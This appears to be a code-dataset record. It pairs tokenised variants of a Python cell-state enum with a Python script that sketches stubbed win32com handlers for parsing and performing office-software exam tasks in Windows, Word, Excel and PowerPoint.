[ "from enum import Enum\n\nclass CellState(Enum):\n EMPTY = 1\n DEAD = 2\n ALIVE = 3\n WAS_ALIVE = 4\n\n def __str__(self):\n default_str = super(CellState, self).__str__()\n if default_str == \"CellState.EMPTY\":\n return \"E\"\n elif default_str == \"CellState.DEAD\":\n return \"D\"\n elif default_str == \"CellState.ALIVE\":\n return \"A\"\n elif default_str == \"CellState.WAS_ALIVE\":\n return \"W\"\n else:\n return \"?\"\n", "from enum import Enum\n\n\nclass CellState(Enum):\n EMPTY = 1\n DEAD = 2\n ALIVE = 3\n WAS_ALIVE = 4\n\n def __str__(self):\n default_str = super(CellState, self).__str__()\n if default_str == 'CellState.EMPTY':\n return 'E'\n elif default_str == 'CellState.DEAD':\n return 'D'\n elif default_str == 'CellState.ALIVE':\n return 'A'\n elif default_str == 'CellState.WAS_ALIVE':\n return 'W'\n else:\n return '?'\n", "<import token>\n\n\nclass CellState(Enum):\n EMPTY = 1\n DEAD = 2\n ALIVE = 3\n WAS_ALIVE = 4\n\n def __str__(self):\n default_str = super(CellState, self).__str__()\n if default_str == 'CellState.EMPTY':\n return 'E'\n elif default_str == 'CellState.DEAD':\n return 'D'\n elif default_str == 'CellState.ALIVE':\n return 'A'\n elif default_str == 'CellState.WAS_ALIVE':\n return 'W'\n else:\n return '?'\n", "<import token>\n\n\nclass CellState(Enum):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n\n def __str__(self):\n default_str = super(CellState, self).__str__()\n if default_str == 'CellState.EMPTY':\n return 'E'\n elif default_str == 'CellState.DEAD':\n return 'D'\n elif default_str == 'CellState.ALIVE':\n return 'A'\n elif default_str == 'CellState.WAS_ALIVE':\n return 'W'\n else:\n return '?'\n", "<import token>\n\n\nclass CellState(Enum):\n <assignment token>\n <assignment token>\n <assignment token>\n <assignment token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
467
b453006b4d4c5f17bb58110fe8197d7796ca0c6c
# -*- coding: utf-8 -*- __author__ = 'tqs' from win32com.client import Dispatch import win32com.client import time import os import re import win32api ''' windows操作部分说明: 考试波及知识点: 1.删除文件及文件夹 2.复制文件及文件夹 3.移动文件及文件夹 4.文件及文件夹改名 5.文件属性 考试样例: 1、在“蕨类植物”文件夹中,新建一个子文件夹“薄囊蕨类”。 2、将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。 3、设置“螺旋藻.aaa”文件属性为“只读”。 4、在桌面上建立“绿色植物”的快捷方式。 ''' class WinOperation: def __init__(self): self.soucePath = '' self.destPath = '' self.destFilename = '' self.sourceFilename = '' def dele(self,destFilename):#删除文件及文件夹 print('删除文件',destFilename) pass def rename(self,sourceFilename,destFilename):#文件改名 print(sourceFilename,'文件改名为',destFilename) pass def mov(self,sourceFilename,destFilename):#移动文件 print(sourceFilename,'移动文件为',destFilename) pass def copy(self,sourceFilename,destFilename):#复制文件 print(sourceFilename,'移动文件为',destFilename) pass def prop(self,destFilename):#文件属性 print('文件属性',destFilename) pass def realSourceFilename(self,soucePath,sourceFilename): return sourceFilename def realdestFilename(self,destPath,destFilename): return destFilename def judgeNew(self,OperStr):#从文本中判断新建文件或文件夹 print('正在完成要求',OperStr) pattern = re.compile('“(.*)”') print (pattern.findall(OperStr)) strFile=str(pattern.findall(OperStr)) file1=strFile.split("”") source=file1[0][2:]#获得源文件 print(source) file2=strFile.split("“") dest=file2[1][0:-2]#获得目标文件 print(dest) pass def judgeDele(self,OperStr):#从文本中判断删除文件 print('正在完成要求',OperStr) pattern = re.compile('“(.*)”') print (pattern.findall(OperStr)) pass def judgeRename(self,OperStr):#从文本中判断重命名文件 print('正在完成要求',OperStr) pattern = re.compile('“(.*)”') print (pattern.findall(OperStr)) strFile=str(pattern.findall(OperStr)) file1=strFile.split("”") source=file1[0][2:]#获得源文件 print(source) file2=strFile.split("“") dest=file2[1][0:-2]#获得目标文件 print(dest) pass def judgeMov(self,OperStr):#从文本中判断移动文件 #形如将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。这种结构的解析 #解析为源文件,目标文件 print('正在完成要求',OperStr) pattern = re.compile('“(.*)”') print (pattern.findall(OperStr)) strFile=str(pattern.findall(OperStr)) file1=strFile.split("”") source=file1[0][2:]#获得源文件 print(source) file2=strFile.split("“") dest=file2[1][0:-2]#获得目标文件 print(dest) #需要再取得完整路径,需要查找 sourceFilename=self.realSourceFilename("d:\zrexam\windows",source) destFilename=self.realdestFilename("d:\zrexam\windows",dest) self.mov(sourceFilename,destFilename) def judgeCopy(self,OperStr): print('正在完成要求',OperStr) pattern = re.compile('“(.*)”') print (pattern.findall(OperStr)) strFile=str(pattern.findall(OperStr)) file1=strFile.split("”") source=file1[0][2:]#获得源文件 print(source) file2=strFile.split("“") dest=file2[1][0:-2]#获得目标文件 print(dest) pass def judgeProp(self,OperStr): print('正在完成要求',OperStr) pattern = re.compile('“(.*)”') print (pattern.findall(OperStr)) strFile=str(pattern.findall(OperStr)) file1=strFile.split("”") source=file1[0][2:]#获得源文件 print(source) file2=strFile.split("“") dest=file2[1][0:-2]#获得目标文件 print(dest) ## win32api.SetFileAttributes(fileName,win32con.FILE_ATTRIBUTE_HIDDEN) ## win32api.SetFileAttributes(fileName,win32con.FILE_ATTRIBUTE_NORMAL) pass def judgeOperFromList(self,OperStrList):#根据各小题选择对应的操作 for item in OperStrList: pass def getOperStrListFromFile(self,filename):#从文件中将各小题放入列表 pass def judgeOperFromStr(self,OperStr):#根据小题文本选择对应的操作 if OperStr.find("新建") !=-1: print("进入新建操作") self.judgeNew(OperStr) print("结束新建操作") if OperStr.find("删除") !=-1: print("进入删除操作") self.judgeDele(OperStr) print("结束删除操作") if OperStr.find("复制") !=-1: print("进入复制操作") self.judgeCopy(OperStr) print("结束复制操作") if OperStr.find("移动") !=-1: print("进入移动操作") self.judgeMov(OperStr) print("结束移动操作") if OperStr.find("改名") !=-1: print("进入改名操作") self.judgeRename(OperStr) print("结束改名操作") if OperStr.find("属性") !=-1: print("进入属性操作") self.judgeProp(OperStr) print("结束属性操作") ''' word操作部分说明: 考试波及知识点: 1.字体 2.段落 3.查找替换 4.插入 表格,艺术字,图片 5.页边距,分栏 1. 将标题“师恩难忘”设置为黑体,居中对齐。 2.将文中第二段(这个小学设在一座庙内……)设置为首行缩进2字符。 3.将文中所有的“田老师”替换为“田先生”。 4. 设置页边距为上下各2.5厘米(应用于整篇文档)。 5. 在正文下面的空白处插入艺术字,内容为“师恩难忘”(样式任选)。 考试样例: ''' class WordOperation: def __init__(self, filename=None): #打开文件或者新建文件(如果不存在的话) self.wordApp = win32com.client.Dispatch('Word.Application') if filename: self.filename = filename else: self.filename = '' def save(self, newfilename=None): #保存文件 if newfilename: self.filename = newfilename else: pass def close(self): #关闭文件 del self.wordApp def fontOper(self): pass def replaceOper(self,source,dest): pass def insertOper(self,style): pass def pageOper(self): pass def paragraphOper(self): pass def judgePage(self,OperStr): print('正在完成要求',OperStr) def judgeFont(self,OperStr): print('正在完成要求',OperStr) def judgeReplace(self,OperStr): print('正在完成要求',OperStr) def judgeInsert(self,OperStr): print('正在完成要求',OperStr) def judgeParagraph(self,OperStr): print('正在完成要求',OperStr) def judgeOperFromStr(self,OperStr):#根据小题文本选择对应的操作 if OperStr.find("标题") !=-1 or OperStr.find("黑体") !=-1 or OperStr.find("居中对齐") !=-1: print("进入字体操作") self.judgeFont(OperStr) print("结束字体") elif OperStr.find("首行缩进") !=-1 or OperStr.find("行距") !=-1: print("进入段落操作") self.judgeParagraph(OperStr) print("结束段落操作") elif OperStr.find("插入") !=-1: print("进入插入操作") self.judgeInsert(OperStr) print("结束插入操作") elif OperStr.find("页边距") !=-1: print("进入页边距操作") self.judgePage(OperStr) print("结束页边距操作") elif OperStr.find("分栏") !=-1: print("进入分栏操作") self.judgeFont(OperStr) print("结束分栏操作") elif OperStr.find("替换") !=-1: print("进入替换操作") self.judgeReplace(OperStr) print("结束替换操作") ''' Excel操作部分说明: 考试波及知识点: 1.行高列宽 2.格式相关 3.公式函数 4.排序 5.插入图表 考试样例: 1.将A2所在行的行高设置为30(40像素)。 2.根据工作表中提供的公式,计算各班级的“3D社团参与比例”,并将结果填写在F3:F7单元格内。 3.给A2:F8单元格区域加所有框线。 4.按“无人机社团人数”由高到低排序。 5.选定A2:B7单元格区域,制作“三维折线图”,并插入到Sheet1工作表中。 ''' class ExcelOperation: def __init__(self, filename=None): #打开文件或者新建文件(如果不存在的话) self.xlApp = win32com.client.Dispatch('Excel.Application') if filename: self.filename = filename self.xlBook = self.xlApp.Workbooks.Open(filename) else: self.xlBook = self.xlApp.Workbooks.Add() self.filename = '' def save(self, newfilename=None): #保存文件 if newfilename: self.filename = newfilename self.xlBook.SaveAs(newfilename) else: self.xlBook.Save() def close(self): #关闭文件 self.xlBook.Close(SaveChanges=0) del self.xlApp def getCell(self, sheet, row, col): #获取单元格的数据 "Get value of one cell" sht = self.xlBook.Worksheets(sheet) return sht.Cells(row, col).Value def setCell(self, sheet, row, col, value): #设置单元格的数据 "set value of one cell" sht = self.xlBook.Worksheets(sheet) sht.Cells(row, col).Value = value def setCellformat(self, sheet, row, col): #设置单元格的数据 "set value of one cell" sht = self.xlBook.Worksheets(sheet) sht.Cells(row, col).Font.Size = 15#字体大小 sht.Cells(row, col).Font.Bold = True#是否黑体 sht.Cells(row, col).Font.Name = "Arial"#字体类型 sht.Cells(row, col).Interior.ColorIndex = 3#表格背景 #sht.Range("A1").Borders.LineStyle = xlDouble sht.Cells(row, col).BorderAround(1,4)#表格边框 sht.Rows(3).RowHeight = 30#行高 sht.Cells(row, col).HorizontalAlignment = -4131 #水平居中xlCenter sht.Cells(row, col).VerticalAlignment = -4160 # def rowHeightOper(self,sheet,row,height): sht = self.xlBook.Worksheets(sheet) sht.Rows(row).RowHeight = height def deleteRow(self, sheet, row): sht = self.xlBook.Worksheets(sheet) sht.Rows(row).Delete()#删除行 sht.Columns(row).Delete()#删除列 def getRange(self, sheet, row1, col1, row2, col2): #获得一块区域的数据,返回为一个二维元组 "return a 2d array (i.e. tuple of tuples)" sht = self.xlBook.Worksheets(sheet) return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value def addPicture(self, sheet, pictureName, Left, Top, Width, Height): #插入图片 "Insert a picture in sheet" sht = self.xlBook.Worksheets(sheet) sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height) def cpSheet(self, before): #复制工作表 "copy sheet" shts = self.xlBook.Worksheets shts(1).Copy(None,shts(1)) def judgeRowHeight(self,OperStr):#行高操作 print('正在完成要求',OperStr) def judgeColWidth(self,OperStr): print('正在完成要求',OperStr) def judgeFormula(self,OperStr): print('正在完成要求',OperStr) def judgeFunction(self,OperStr): print('正在完成要求',OperStr) def judgeSort(self,OperStr): print('正在完成要求',OperStr) def judgeChart(self,OperStr): print('正在完成要求',OperStr) def judgeBoxLine(self,OperStr): print('正在完成要求',OperStr) def judgeOperFromStr(self,OperStr):#根据小题文本选择对应的操作 if OperStr.find("行高") !=-1: print("进入行高操作") self.judgeRowHeight(OperStr) print("结束行高操作") if OperStr.find("列宽") !=-1: print("进入列宽操作") self.judgeColWidth(OperStr) print("结束列宽操作") if OperStr.find("公式") !=-1: print("进入公式操作") self.judgeFormula(OperStr) print("结束公式操作") if OperStr.find("函数") !=-1: print("进入函数操作") self.judgeFunction(OperStr) print("结束函数操作") if OperStr.find("所有框线") !=-1: print("进入所有框线操作") self.judgeBoxLine(OperStr) print("结束所有框线操作") if OperStr.find("排序") !=-1: print("进入排序操作") self.judgeSort(OperStr) print("结束排序操作") if OperStr.find("图表") !=-1: print("进入图表操作") self.judgeChart(OperStr) print("结束图表操作") pass ''' PPT操作部分说明: 1.动画效果 2.切换效果 3.超级链接 4.背景 5.插入,图片,声音,视频 考试样例: 1.在第四张幻灯片的上方插入横排文本框,在文本框中输入“吃月饼”,字体黑体,字号32。 2.将第三张幻灯片的背景填充效果设置为纹理填充,纹理为“鱼类化石”。 3.设置第三张幻灯片的切换效果为“推进”,声音为“鼓掌”。 4.给第四张幻灯片右侧的图片设置进入中的“劈裂”动画效果,效果选项为“中央向上下展开”。 5.给第三张幻灯片中的文字“赏桂花”添加超链接,使其链接到第五张幻灯片。 ''' class PptOperation: def __init__(self): pass def AnimationOper(self): pass def SwitchOper(self): pass def InsertOper(self,style): pass def BackgroundOper(self): pass def HyperlinkOper(self): pass def judgeAnimation(self,OperStr): print('正在完成要求',OperStr) pattern = re.compile('“(.*)”') print (pattern.findall(OperStr)) strFile=str(pattern.findall(OperStr)) file1=strFile.split("”") source=file1[0][2:]#获得源文件 print(source) file2=strFile.split("“") dest=file2[1][0:-2]#获得目标文件 print(dest) def judgeSwitch(self,OperStr): print('正在完成要求',OperStr) pattern = re.compile('“(.*)”') print (pattern.findall(OperStr)) strFile=str(pattern.findall(OperStr)) file1=strFile.split("”") source=file1[0][2:]#获得源文件 print(source) file2=strFile.split("“") dest=file2[1][0:-2]#获得目标文件 print(dest) def judgeInsert(self,OperStr): print('正在完成要求',OperStr) def judgeBackground(self,OperStr): print('正在完成要求',OperStr) def judgeHyperlink(self,OperStr): print('正在完成要求',OperStr) def judgeOperFromStr(self,OperStr):#根据小题文本选择对应的操作 if OperStr.find("动画") !=-1: print("进入动画操作") self.judgeAnimation(OperStr) print("结束动画操作") if OperStr.find("切换") !=-1: print("进入切换操作") self.judgeSwitch(OperStr) print("结束切换操作") if OperStr.find("超级链接") !=-1: print("进入超级链接操作") self.judgeHyperlink(OperStr) print("结束超级链接操作") if OperStr.find("背景") !=-1: print("进入背景操作") self.judgeBackground(OperStr) print("结束背景操作") if OperStr.find("插入") !=-1: print("进入插入操作") self.judgeInsert(OperStr) print("结束插入操作") ''' Input文字录入操作部分说明: 考试波及知识点: com对象的调用演示: class InputOperation: ''' class OperationTypeJudge: def __init__(self): pass def getType(self,OperStr): if OperStr.find("替换") !=-1 or OperStr.find("首行缩进") !=-1: print('这是word题要求') print('已转word题处理') elif OperStr.find("公式") !=-1 or OperStr.find("函数") !=-1: print('这是excel题要求') print('已转excel题处理') elif OperStr.find("切换") !=-1 or OperStr.find("动画") !=-1: print('这是ppt题要求') print('已转ppt题处理') pass def getOperaPath(self): pass def getOperaFileName(self): pass ''' 选择题部分说明: ''' class SelectOperation: def __init__(self): pass def getQusetionTxt(self,item): pass def getQusetionPic(self,item): pass def getAnswer(self,item): pass def getCorrectAnswer(self,item): pass ''' 判断题部分说明: ''' class JudgeOperation: def __init__(self): pass def getQusetionTxt(self,item): pass def getQusetionPic(self,item): pass def getAnswer(self,item): pass def getCorrectAnswer(self,item): pass if __name__ == "__main__": win=WinOperation() win.judgeOperFromStr('1、在“蕨类植物”文件夹中,新建一个子文件夹“薄囊蕨类”。') win.judgeOperFromStr('2、将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。') win.judgeOperFromStr('3、设置“螺旋藻.aaa”文件属性为“只读”。') win.judgeOperFromStr('4、在桌面上建立“绿色植物”的快捷方式。') word=WordOperation() word.judgeOperFromStr('1. 将标题“师恩难忘”设置为黑体,居中对齐。') word.judgeOperFromStr('2.将文中第二段(这个小学设在一座庙内……)设置为首行缩进2字符。') word.judgeOperFromStr('3.将文中所有的“田老师”替换为“田先生”。') word.judgeOperFromStr('4. 设置页边距为上下各2.5厘米(应用于整篇文档)。') word.judgeOperFromStr('5. 在正文下面的空白处插入艺术字,内容为“师恩难忘”(样式任选)。') excel=ExcelOperation(r'c:/test.xls') excel.judgeOperFromStr('1.将A2所在行的行高设置为30(40像素)。') excel.judgeOperFromStr('2.根据工作表中提供的公式,计算各班级的“3D社团参与比例”,并将结果填写在F3:F7单元格内。') excel.judgeOperFromStr('3.给A2:F8单元格区域加所有框线。') excel.judgeOperFromStr('4.按“无人机社团人数”由高到低排序。') excel.judgeOperFromStr('5.选定A2:B7单元格区域,制作“三维折线图”,并插入到Sheet1工作表中。') ppt=PptOperation() ppt.judgeOperFromStr('1.在第四张幻灯片的上方插入横排文本框,在文本框中输入“吃月饼”,字体黑体,字号32。') ppt.judgeOperFromStr('2.将第三张幻灯片的背景填充效果设置为纹理填充,纹理为“鱼类化石”。') ppt.judgeOperFromStr('3.设置第三张幻灯片的切换效果为“推进”,声音为“鼓掌”。') ppt.judgeOperFromStr('4.给第四张幻灯片右侧的图片设置进入中的“劈裂”动画效果,效果选项为“中央向上下展开”。') ppt.judgeOperFromStr('5.给第三张幻灯片中的文字“赏桂花”添加超链接,使其链接到第五张幻灯片。')
[ "# -*- coding: utf-8 -*-\n__author__ = 'tqs'\nfrom win32com.client import Dispatch \nimport win32com.client \nimport time\nimport os\nimport re\nimport win32api\n'''\nwindows操作部分说明:\n考试波及知识点:\n1.删除文件及文件夹\n2.复制文件及文件夹\n3.移动文件及文件夹\n4.文件及文件夹改名\n5.文件属性\n考试样例:\n1、在“蕨类植物”文件夹中,新建一个子文件夹“薄囊蕨类”。\n2、将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。\n3、设置“螺旋藻.aaa”文件属性为“只读”。\n4、在桌面上建立“绿色植物”的快捷方式。\n'''\nclass WinOperation:\n def __init__(self):\n self.soucePath = ''\n self.destPath = ''\n self.destFilename = ''\n self.sourceFilename = ''\n def dele(self,destFilename):#删除文件及文件夹\n print('删除文件',destFilename)\n pass\n def rename(self,sourceFilename,destFilename):#文件改名\n print(sourceFilename,'文件改名为',destFilename)\n pass\n def mov(self,sourceFilename,destFilename):#移动文件\n print(sourceFilename,'移动文件为',destFilename)\n pass\n def copy(self,sourceFilename,destFilename):#复制文件\n print(sourceFilename,'移动文件为',destFilename)\n pass\n def prop(self,destFilename):#文件属性\n print('文件属性',destFilename)\n pass\n def realSourceFilename(self,soucePath,sourceFilename):\n return sourceFilename\n def realdestFilename(self,destPath,destFilename):\n return destFilename\n def judgeNew(self,OperStr):#从文本中判断新建文件或文件夹\n print('正在完成要求',OperStr)\n pattern = re.compile('“(.*)”')\n print (pattern.findall(OperStr))\n strFile=str(pattern.findall(OperStr))\n file1=strFile.split(\"”\")\n source=file1[0][2:]#获得源文件\n print(source)\n file2=strFile.split(\"“\")\n dest=file2[1][0:-2]#获得目标文件\n print(dest)\n pass\n def judgeDele(self,OperStr):#从文本中判断删除文件\n print('正在完成要求',OperStr)\n pattern = re.compile('“(.*)”')\n print (pattern.findall(OperStr))\n pass\n def judgeRename(self,OperStr):#从文本中判断重命名文件\n print('正在完成要求',OperStr)\n pattern = re.compile('“(.*)”')\n print (pattern.findall(OperStr))\n strFile=str(pattern.findall(OperStr))\n file1=strFile.split(\"”\")\n source=file1[0][2:]#获得源文件\n print(source)\n file2=strFile.split(\"“\")\n dest=file2[1][0:-2]#获得目标文件\n print(dest)\n pass\n def judgeMov(self,OperStr):#从文本中判断移动文件\n #形如将文件“淡水藻.ddd”移动到“藻类植物”文件夹中。这种结构的解析\n #解析为源文件,目标文件\n print('正在完成要求',OperStr)\n pattern = re.compile('“(.*)”')\n print (pattern.findall(OperStr))\n strFile=str(pattern.findall(OperStr))\n file1=strFile.split(\"”\")\n source=file1[0][2:]#获得源文件\n print(source)\n file2=strFile.split(\"“\")\n dest=file2[1][0:-2]#获得目标文件\n print(dest)\n #需要再取得完整路径,需要查找\n sourceFilename=self.realSourceFilename(\"d:\\zrexam\\windows\",source)\n destFilename=self.realdestFilename(\"d:\\zrexam\\windows\",dest)\n self.mov(sourceFilename,destFilename)\n def judgeCopy(self,OperStr):\n print('正在完成要求',OperStr)\n pattern = re.compile('“(.*)”')\n print (pattern.findall(OperStr))\n strFile=str(pattern.findall(OperStr))\n file1=strFile.split(\"”\")\n source=file1[0][2:]#获得源文件\n print(source)\n file2=strFile.split(\"“\")\n dest=file2[1][0:-2]#获得目标文件\n print(dest)\n pass\n def judgeProp(self,OperStr):\n print('正在完成要求',OperStr)\n pattern = re.compile('“(.*)”')\n print (pattern.findall(OperStr))\n strFile=str(pattern.findall(OperStr))\n file1=strFile.split(\"”\")\n source=file1[0][2:]#获得源文件\n print(source)\n file2=strFile.split(\"“\")\n dest=file2[1][0:-2]#获得目标文件\n print(dest)\n## win32api.SetFileAttributes(fileName,win32con.FILE_ATTRIBUTE_HIDDEN)\n## win32api.SetFileAttributes(fileName,win32con.FILE_ATTRIBUTE_NORMAL)\n pass\n def judgeOperFromList(self,OperStrList):#根据各小题选择对应的操作\n for item in OperStrList:\n pass\n def getOperStrListFromFile(self,filename):#从文件中将各小题放入列表 \n pass\n def judgeOperFromStr(self,OperStr):#根据小题文本选择对应的操作\n if OperStr.find(\"新建\") !=-1:\n print(\"进入新建操作\")\n self.judgeNew(OperStr)\n print(\"结束新建操作\")\n if OperStr.find(\"删除\") !=-1:\n print(\"进入删除操作\")\n self.judgeDele(OperStr)\n print(\"结束删除操作\")\n if OperStr.find(\"复制\") !=-1:\n print(\"进入复制操作\")\n self.judgeCopy(OperStr)\n print(\"结束复制操作\")\n if OperStr.find(\"移动\") !=-1:\n print(\"进入移动操作\")\n self.judgeMov(OperStr)\n print(\"结束移动操作\")\n if OperStr.find(\"改名\") !=-1:\n print(\"进入改名操作\")\n self.judgeRename(OperStr)\n print(\"结束改名操作\")\n if OperStr.find(\"属性\") !=-1:\n print(\"进入属性操作\")\n self.judgeProp(OperStr)\n print(\"结束属性操作\")\n \n'''\nword操作部分说明:\n考试波及知识点:\n1.字体\n2.段落\n3.查找替换\n4.插入 表格,艺术字,图片\n5.页边距,分栏\n\n1. 将标题“师恩难忘”设置为黑体,居中对齐。\n2.将文中第二段(这个小学设在一座庙内……)设置为首行缩进2字符。\n3.将文中所有的“田老师”替换为“田先生”。\n4. 设置页边距为上下各2.5厘米(应用于整篇文档)。\n5. 在正文下面的空白处插入艺术字,内容为“师恩难忘”(样式任选)。\n考试样例:\n'''\nclass WordOperation:\n def __init__(self, filename=None): #打开文件或者新建文件(如果不存在的话)\n self.wordApp = win32com.client.Dispatch('Word.Application') \n if filename: \n self.filename = filename\n else:\n self.filename = ''\n def save(self, newfilename=None): #保存文件\n if newfilename: \n self.filename = newfilename\n else:\n pass \n def close(self): #关闭文件\n del self.wordApp \n def fontOper(self): \n pass\n def replaceOper(self,source,dest):\n pass\n def insertOper(self,style):\n pass\n def pageOper(self):\n pass\n def paragraphOper(self):\n pass\n def judgePage(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeFont(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeReplace(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeInsert(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeParagraph(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeOperFromStr(self,OperStr):#根据小题文本选择对应的操作\n if OperStr.find(\"标题\") !=-1 or OperStr.find(\"黑体\") !=-1 or OperStr.find(\"居中对齐\") !=-1:\n print(\"进入字体操作\")\n self.judgeFont(OperStr)\n print(\"结束字体\")\n elif OperStr.find(\"首行缩进\") !=-1 or OperStr.find(\"行距\") !=-1:\n print(\"进入段落操作\")\n self.judgeParagraph(OperStr) \n print(\"结束段落操作\")\n elif OperStr.find(\"插入\") !=-1:\n print(\"进入插入操作\")\n self.judgeInsert(OperStr)\n print(\"结束插入操作\")\n elif OperStr.find(\"页边距\") !=-1:\n print(\"进入页边距操作\")\n self.judgePage(OperStr)\n print(\"结束页边距操作\")\n elif OperStr.find(\"分栏\") !=-1:\n print(\"进入分栏操作\")\n self.judgeFont(OperStr)\n print(\"结束分栏操作\")\n elif OperStr.find(\"替换\") !=-1:\n print(\"进入替换操作\")\n self.judgeReplace(OperStr)\n print(\"结束替换操作\")\n \n'''\nExcel操作部分说明:\n考试波及知识点:\n1.行高列宽\n2.格式相关\n3.公式函数\n4.排序\n5.插入图表\n\n考试样例:\n1.将A2所在行的行高设置为30(40像素)。\n2.根据工作表中提供的公式,计算各班级的“3D社团参与比例”,并将结果填写在F3:F7单元格内。\n3.给A2:F8单元格区域加所有框线。\n4.按“无人机社团人数”由高到低排序。\n5.选定A2:B7单元格区域,制作“三维折线图”,并插入到Sheet1工作表中。\n\n'''\nclass ExcelOperation:\n def __init__(self, filename=None): #打开文件或者新建文件(如果不存在的话)\n self.xlApp = win32com.client.Dispatch('Excel.Application') \n if filename: \n self.filename = filename \n self.xlBook = self.xlApp.Workbooks.Open(filename) \n else: \n self.xlBook = self.xlApp.Workbooks.Add() \n self.filename = ''\n def save(self, newfilename=None): #保存文件\n if newfilename: \n self.filename = newfilename \n self.xlBook.SaveAs(newfilename) \n else: \n self.xlBook.Save() \n def close(self): #关闭文件\n self.xlBook.Close(SaveChanges=0) \n del self.xlApp \n def getCell(self, sheet, row, col): #获取单元格的数据\n \"Get value of one cell\" \n sht = self.xlBook.Worksheets(sheet) \n return sht.Cells(row, col).Value \n def setCell(self, sheet, row, col, value): #设置单元格的数据\n \"set value of one cell\" \n sht = self.xlBook.Worksheets(sheet) \n sht.Cells(row, col).Value = value\n def setCellformat(self, sheet, row, col): #设置单元格的数据\n \"set value of one cell\" \n sht = self.xlBook.Worksheets(sheet) \n sht.Cells(row, col).Font.Size = 15#字体大小\n sht.Cells(row, col).Font.Bold = True#是否黑体\n sht.Cells(row, col).Font.Name = \"Arial\"#字体类型\n sht.Cells(row, col).Interior.ColorIndex = 3#表格背景\n #sht.Range(\"A1\").Borders.LineStyle = xlDouble\n sht.Cells(row, col).BorderAround(1,4)#表格边框\n sht.Rows(3).RowHeight = 30#行高\n sht.Cells(row, col).HorizontalAlignment = -4131 #水平居中xlCenter\n sht.Cells(row, col).VerticalAlignment = -4160 #\n def rowHeightOper(self,sheet,row,height):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).RowHeight = height \n def deleteRow(self, sheet, row):\n sht = self.xlBook.Worksheets(sheet)\n sht.Rows(row).Delete()#删除行\n sht.Columns(row).Delete()#删除列\n def getRange(self, sheet, row1, col1, row2, col2): #获得一块区域的数据,返回为一个二维元组\n \"return a 2d array (i.e. tuple of tuples)\" \n sht = self.xlBook.Worksheets(sheet)\n return sht.Range(sht.Cells(row1, col1), sht.Cells(row2, col2)).Value \n def addPicture(self, sheet, pictureName, Left, Top, Width, Height): #插入图片\n \"Insert a picture in sheet\" \n sht = self.xlBook.Worksheets(sheet) \n sht.Shapes.AddPicture(pictureName, 1, 1, Left, Top, Width, Height)\n def cpSheet(self, before): #复制工作表\n \"copy sheet\" \n shts = self.xlBook.Worksheets \n shts(1).Copy(None,shts(1))\n def judgeRowHeight(self,OperStr):#行高操作\n print('正在完成要求',OperStr)\n def judgeColWidth(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeFormula(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeFunction(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeSort(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeChart(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeBoxLine(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeOperFromStr(self,OperStr):#根据小题文本选择对应的操作\n if OperStr.find(\"行高\") !=-1:\n print(\"进入行高操作\")\n self.judgeRowHeight(OperStr)\n print(\"结束行高操作\")\n if OperStr.find(\"列宽\") !=-1:\n print(\"进入列宽操作\")\n self.judgeColWidth(OperStr)\n print(\"结束列宽操作\")\n if OperStr.find(\"公式\") !=-1:\n print(\"进入公式操作\")\n self.judgeFormula(OperStr)\n print(\"结束公式操作\")\n if OperStr.find(\"函数\") !=-1:\n print(\"进入函数操作\")\n self.judgeFunction(OperStr)\n print(\"结束函数操作\")\n if OperStr.find(\"所有框线\") !=-1:\n print(\"进入所有框线操作\")\n self.judgeBoxLine(OperStr)\n print(\"结束所有框线操作\")\n if OperStr.find(\"排序\") !=-1:\n print(\"进入排序操作\")\n self.judgeSort(OperStr)\n print(\"结束排序操作\")\n if OperStr.find(\"图表\") !=-1:\n print(\"进入图表操作\")\n self.judgeChart(OperStr)\n print(\"结束图表操作\")\n pass\n \n'''\nPPT操作部分说明:\n1.动画效果\n2.切换效果\n3.超级链接\n4.背景\n5.插入,图片,声音,视频\n\n考试样例:\n1.在第四张幻灯片的上方插入横排文本框,在文本框中输入“吃月饼”,字体黑体,字号32。\n2.将第三张幻灯片的背景填充效果设置为纹理填充,纹理为“鱼类化石”。\n3.设置第三张幻灯片的切换效果为“推进”,声音为“鼓掌”。\n4.给第四张幻灯片右侧的图片设置进入中的“劈裂”动画效果,效果选项为“中央向上下展开”。\n5.给第三张幻灯片中的文字“赏桂花”添加超链接,使其链接到第五张幻灯片。\n'''\n\nclass PptOperation:\n def __init__(self):\n pass\n def AnimationOper(self):\n pass\n def SwitchOper(self):\n pass\n def InsertOper(self,style):\n pass\n def BackgroundOper(self):\n pass\n def HyperlinkOper(self):\n pass\n def judgeAnimation(self,OperStr):\n print('正在完成要求',OperStr)\n pattern = re.compile('“(.*)”')\n print (pattern.findall(OperStr))\n strFile=str(pattern.findall(OperStr))\n file1=strFile.split(\"”\")\n source=file1[0][2:]#获得源文件\n print(source)\n file2=strFile.split(\"“\")\n dest=file2[1][0:-2]#获得目标文件\n print(dest)\n def judgeSwitch(self,OperStr):\n print('正在完成要求',OperStr)\n pattern = re.compile('“(.*)”')\n print (pattern.findall(OperStr))\n strFile=str(pattern.findall(OperStr))\n file1=strFile.split(\"”\")\n source=file1[0][2:]#获得源文件\n print(source)\n file2=strFile.split(\"“\")\n dest=file2[1][0:-2]#获得目标文件\n print(dest)\n def judgeInsert(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeBackground(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeHyperlink(self,OperStr):\n print('正在完成要求',OperStr)\n def judgeOperFromStr(self,OperStr):#根据小题文本选择对应的操作\n \n if OperStr.find(\"动画\") !=-1:\n print(\"进入动画操作\")\n self.judgeAnimation(OperStr)\n 